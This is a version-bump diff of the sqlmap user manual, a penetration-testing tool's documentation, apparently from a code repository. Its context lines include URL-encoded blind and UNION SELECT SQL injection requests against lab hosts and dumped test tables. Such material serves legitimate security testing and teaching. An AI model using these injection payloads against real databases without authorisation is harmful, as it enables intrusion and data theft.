88< H1 > sqlmap user's manual</ H1 >
99
1010< H2 > by
11- < A HREF ="
mailto:[email protected] "
> Bernardo Damele A. G.
</ A > </ H2 > version 0.6
, 1st of
September 2008
11+ < A HREF ="
mailto:[email protected] "
> Bernardo Damele A. G.
</ A > </ H2 > version 0.6
.1, 20th of
October 2008
1212< HR >
1313< EM > This document is the user's manual to use
1414< A HREF ="http://sqlmap.sourceforge.net "> sqlmap</ A > .
@@ -73,7 +73,7 @@ <H2><A NAME="ss1.1">1.1</A> <A HREF="#toc1.1">Requirements</A>
7373< A HREF ="http://www.python.org "> Python</ A > ,
7474a dynamic object-oriented interpreted programming language.
7575This makes the tool independent from the operating system since it only
76- requires the Python interpreter.
76+ requires the Python interpreter version equal or above to 2.4 .
7777The interpreter is freely downloadable from its
7878< A HREF ="http://python.org/download/ "> official site</ A > .
7979To make it even easier, many GNU/Linux distributions come out of the box
@@ -292,19 +292,19 @@ <H2><A NAME="s3">3.</A> <A HREF="#toc3">Download and update</A></H2>
292292< P >
293293< UL >
294294< LI >
295- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.tar.gz "> Source gzip compressed</ A > operating system independent.</ LI >
295+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.1. tar.gz "> Source gzip compressed</ A > operating system independent.</ LI >
296296< LI >
297- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.tar.bz2 "> Source bzip2 compressed</ A > operating system independent.</ LI >
297+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.1. tar.bz2 "> Source bzip2 compressed</ A > operating system independent.</ LI >
298298< LI >
299- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.zip "> Source zip compressed</ A > operating system independent.</ LI >
299+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.1. zip "> Source zip compressed</ A > operating system independent.</ LI >
300300< LI >
301- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap_0.6-1_all.deb "> DEB binary package</ A > architecture independent for Debian and any
301+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap_0.6.1.1 -1_all.deb "> DEB binary package</ A > architecture independent for Debian and any
302302other Debian derivated GNU/Linux distribution.</ LI >
303303< LI >
304- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6-1.noarch.rpm "> RPM binary package</ A > architecture independent for Fedora and any
304+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.1 -1.noarch.rpm "> RPM binary package</ A > architecture independent for Fedora and any
305305other operating system that can install RPM packages.</ LI >
306306< LI >
307- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6_exe .zip "> Portable executable for Windows</ A > that < B > does not require the Python
307+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.1_exe .zip "> Portable executable for Windows</ A > that < B > does not require the Python
308308interpreter</ B > to be installed on the operating system.</ LI >
309309</ UL >
310310</ P >
@@ -331,7 +331,7 @@ <H2><A NAME="s5">5.</A> <A HREF="#toc5">Usage</A></H2>
331331< PRE >
332332$ python sqlmap.py -h
333333
334- sqlmap/0.6 coded by Bernardo Damele A. G. <
[email protected] > 334+ sqlmap/0.6
.1.1 coded by Bernardo Damele A. G. <
[email protected] > 335335 and Daniele Bellucci <
[email protected] > 336336
337337Usage: sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file> }
@@ -528,7 +528,7 @@ <H3>Target URL and verbosity</H3>
528528[hh:mm:28] [TRAFFIC OUT] HTTP request:
529529GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
530530Host: 192.168.1.121:80
531- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
531+ User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net)
532532Connection: close
533533[...]
534534[hh:mm:29] [INFO] testing MySQL
@@ -537,7 +537,7 @@ <H3>Target URL and verbosity</H3>
537537GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
538538CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&cat=2 HTTP/1.1
539539Host: 192.168.1.121:80
540- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
540+ User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net)
541541Connection: close
542542[...]
543543</ PRE >
@@ -555,7 +555,7 @@ <H3>Target URL and verbosity</H3>
555555[hh:mm:32] [TRAFFIC OUT] HTTP request:
556556GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
557557Host: 192.168.1.121:80
558- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
558+ User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net)
559559Connection: close
560560
561561[hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200):
@@ -573,7 +573,7 @@ <H3>Target URL and verbosity</H3>
573573GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
574574CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&cat=2 HTTP/1.1
575575Host: 192.168.1.121:80
576- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
576+ User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net)
577577Connection: close
578578
579579[hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200):
@@ -600,7 +600,7 @@ <H3>Target URL and verbosity</H3>
600600[hh:mm:23] [TRAFFIC OUT] HTTP request:
601601GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
602602Host: 192.168.1.121:80
603- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
603+ User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net)
604604Connection: close
605605
606606[hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200):
@@ -625,7 +625,7 @@ <H3>Target URL and verbosity</H3>
625625GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20
626626CHAR%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201855=1855&cat=2 HTTP/1.1
627627Host: 192.168.1.121:80
628- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
628+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
629629Connection: close
630630
631631[hh:mm:24] [TRAFFIC IN] HTTP response (OK - 200):
@@ -742,7 +742,7 @@ <H3>Testable parameter(s)</H3>
742742< BLOCKQUOTE > < CODE >
743743< PRE >
744744$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
745- -p user-agent --user-agent "sqlmap/0.6 (http://sqlmap.sourceforge.net)"
745+ -p user-agent --user-agent "sqlmap/0.6.1 (http://sqlmap.sourceforge.net)"
746746
747747[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
748748[hh:mm:40] [INFO] testing connection to the target url
@@ -888,7 +888,7 @@ <H3>HTTP <CODE>Cookie</CODE> header</H3>
888888[hh:mm:39] [TRAFFIC OUT] HTTP request:
889889GET /sqlmap/get_str.asp?name=luther HTTP/1.1
890890Host: 192.168.1.125:80
891- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
891+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
892892Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
893893Connection: close
894894
@@ -900,7 +900,7 @@ <H3>HTTP <CODE>Cookie</CODE> header</H3>
900900GET /sqlmap/get_str.asp?name=luther HTTP/1.1
901901Host: 192.168.1.125:80
902902Cookie: ASPSESSIONIDSABTRCAS=469
903- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
903+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
904904Connection: close
905905
906906[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
@@ -948,7 +948,7 @@ <H3>HTTP <CODE>Referer</CODE> header</H3>
948948GET /sqlmap/pgsql/get_int.php?id=1&cat=2 HTTP/1.1
949949Host: 192.168.1.121:80
950950Referer: http://www.google.com
951- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
951+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
952952Connection: close
953953[...]
954954</ PRE >
@@ -965,7 +965,7 @@ <H3>HTTP <CODE>User-Agent</CODE> header</H3>
965965< P >
966966< BLOCKQUOTE > < CODE >
967967< PRE >
968- sqlmap/0.6 (http://sqlmap.sourceforge.net)
968+ sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
969969</ PRE >
970970</ CODE > </ BLOCKQUOTE >
971971</ P >
@@ -1051,7 +1051,7 @@ <H3>HTTP <CODE>Basic</CODE> and <CODE>Digest</CODE> authentications</H3>
10511051GET /sqlmap/mysql/basic/get_int.php?id=1&cat=2 HTTP/1.1
10521052Host: 192.168.1.121:80
10531053Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
1054- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
1054+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
10551055Connection: close
10561056[...]
10571057
@@ -1068,7 +1068,7 @@ <H3>HTTP <CODE>Basic</CODE> and <CODE>Digest</CODE> authentications</H3>
10681068uri="/sqlmap/mysql/digest/get_int.php?id=1&cat=2",
10691069response="e1bf3738b4bbe04e197a12fb134e13a2", algorithm="MD5", qop=auth, nc=00000001,
10701070cnonce="df1c0902c931b640"
1071- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
1071+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
10721072Connection: close
10731073[...]
10741074</ PRE >
@@ -1193,7 +1193,7 @@ <H3>String match</H3>
11931193[hh:mm:50] [TRAFFIC OUT] HTTP request:
11941194GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
11951195Host: 192.168.1.121:80
1196- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
1196+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
11971197Connection: close
11981198
11991199[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
@@ -1215,7 +1215,7 @@ <H3>String match</H3>
12151215[hh:mm:51] [TRAFFIC OUT] HTTP request:
12161216GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
12171217Host: 192.168.1.121:80
1218- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
1218+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
12191219Connection: close
12201220
12211221[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
@@ -1237,7 +1237,7 @@ <H3>String match</H3>
12371237[hh:mm:51] [TRAFFIC OUT] HTTP request:
12381238GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
12391239Host: 192.168.1.121:80
1240- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
1240+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
12411241Connection: close
12421242
12431243[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
@@ -1549,9 +1549,9 @@ <H3>Extensive database management system fingerprint</H3>
15491549[hh:mm:03] [INFO] performed 13 queries in 0 seconds
15501550[hh:mm:03] [INFO] query: @@VERSION
15511551[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
1552- Aug 6 2000 00:57:48
1553- Copyright (c) 1988-2000 Microsoft Corporation
1554- Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
1552+ Aug 6 2000 00:57:48
1553+ Copyright (c) 1988-2000 Microsoft Corporation
1554+ Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
15551555
15561556[hh:mm:08] [INFO] performed 1308 queries in 4 seconds
15571557back-end DBMS: active fingerprint: Microsoft SQL Server 2000
@@ -2064,7 +2064,7 @@ <H3>Dump database tables entries</H3>
20642064| 1 | luther | blissett |
20652065| 2 | fluffy | bunny |
20662066| 3 | wu | ming |
2067- | 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
2067+ | 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
20682068| 5 | NULL | nameisnull |
20692069+----+--------------------------------------------+-------------------+
20702070</ PRE >
@@ -2118,7 +2118,7 @@ <H3>Dump database tables entries</H3>
21182118| 1 | luther | blissett |
21192119| 2 | fluffy | bunny |
21202120| 3 | wu | ming |
2121- | 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
2121+ | 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
21222122| 5 | | nameisnull |
21232123+----+--------------------------------------------+-------------------+
21242124
@@ -2132,7 +2132,7 @@ <H3>Dump database tables entries</H3>
21322132"1","luther","blissett"
21332133"2","fluffy","bunny"
21342134"3","wu","ming"
2135- "4","sqlmap/0.6 (http://sqlmap.sourceforge.net)","user agent header"
2135+ "4","sqlmap/0.6.1 (http://sqlmap.sourceforge.net)","user agent header"
21362136"5","","nameisnull"
21372137</ PRE >
21382138</ CODE > </ BLOCKQUOTE >
@@ -2159,7 +2159,7 @@ <H3>Dump all databases tables entries</H3>
21592159| 1 | luther | blissett |
21602160| 2 | fluffy | bunny |
21612161| 3 | wu | ming |
2162- | 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
2162+ | 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
21632163| 5 | NULL | nameisnull |
21642164+----+--------------------------------------------+-------------------+
21652165
@@ -2249,7 +2249,7 @@ <H3>Dump all databases tables entries</H3>
22492249+----+--------------------------------------------+-------------------+
22502250| id | name | surname |
22512251+----+--------------------------------------------+-------------------+
2252- | 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
2252+ | 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
22532253| 2 | fluffy | bunny |
22542254| 1 | luther | blisset |
22552255| 3 | wu | ming |
@@ -2782,9 +2782,9 @@ <H3>Use the UNION SELECT query SQL injection</H3>
27822782banner:
27832783---
27842784Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
2785- Aug 6 2000 00:57:48
2786- Copyright (c) 1988-2000 Microsoft Corporation
2787- Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
2785+ Aug 6 2000 00:57:48
2786+ Copyright (c) 1988-2000 Microsoft Corporation
2787+ Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
27882788---
27892789</ PRE >
27902790</ CODE > </ BLOCKQUOTE >
@@ -2812,7 +2812,7 @@ <H3>Use the UNION SELECT query SQL injection</H3>
28122812%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2
2813281306043=6043&cat=2 HTTP/1.1
28142814Host: 192.168.1.121:80
2815- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
2815+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
28162816Connection: close
28172817
28182818[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200):
@@ -2954,7 +2954,7 @@ <H3>Update sqlmap to the latest stable version</H3>
29542954[hh:mm:55] [TRAFFIC OUT] HTTP request:
29552955GET /doc/VERSION HTTP/1.1
29562956Host: sqlmap.sourceforge.net
2957- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
2957+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
29582958Connection: close
29592959
29602960[hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200):
@@ -2973,7 +2973,7 @@ <H3>Update sqlmap to the latest stable version</H3>
29732973[hh:mm:56] [TRAFFIC OUT] HTTP request:
29742974GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1
29752975Host: www.sqlsecurity.com
2976- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
2976+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
29772977Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0;
29782978language=en-US
29792979Connection: close
0 commit comments